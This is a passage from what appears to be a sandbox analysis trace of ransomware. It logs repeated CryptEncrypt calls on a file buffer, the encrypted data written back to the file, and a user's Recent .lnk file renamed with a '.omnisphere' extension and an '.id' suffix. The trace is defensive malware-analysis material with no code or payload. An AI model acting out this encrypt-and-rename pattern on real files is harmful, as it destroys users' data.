dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.527] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.527] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.527] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.527] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.527] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.527] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.527] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.528] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.529] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.530] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.530] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.530] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.530] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.530] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.530] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.530] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.530] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.530] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.530] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.530] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.530] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.530] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.530] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.530] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.530] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.531] CryptDestroyKey (hKey=0x16394e8) returned 1 [0126.532] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0126.532] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.532] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.532] GetProcessHeap () returned 0x1600000 [0126.532] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b0) returned 0x16d7948 [0126.532] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lPq-WpX7TI4.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lpq-wpx7ti4.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lPq-WpX7TI4.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lpq-wpx7ti4.lnk.omnisphere")) returned 1 [0126.532] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lPq-WpX7TI4.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lPq-WpX7TI4.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lPq-WpX7TI4.lnk.omnisphere.id" [0126.532] CreateFileW 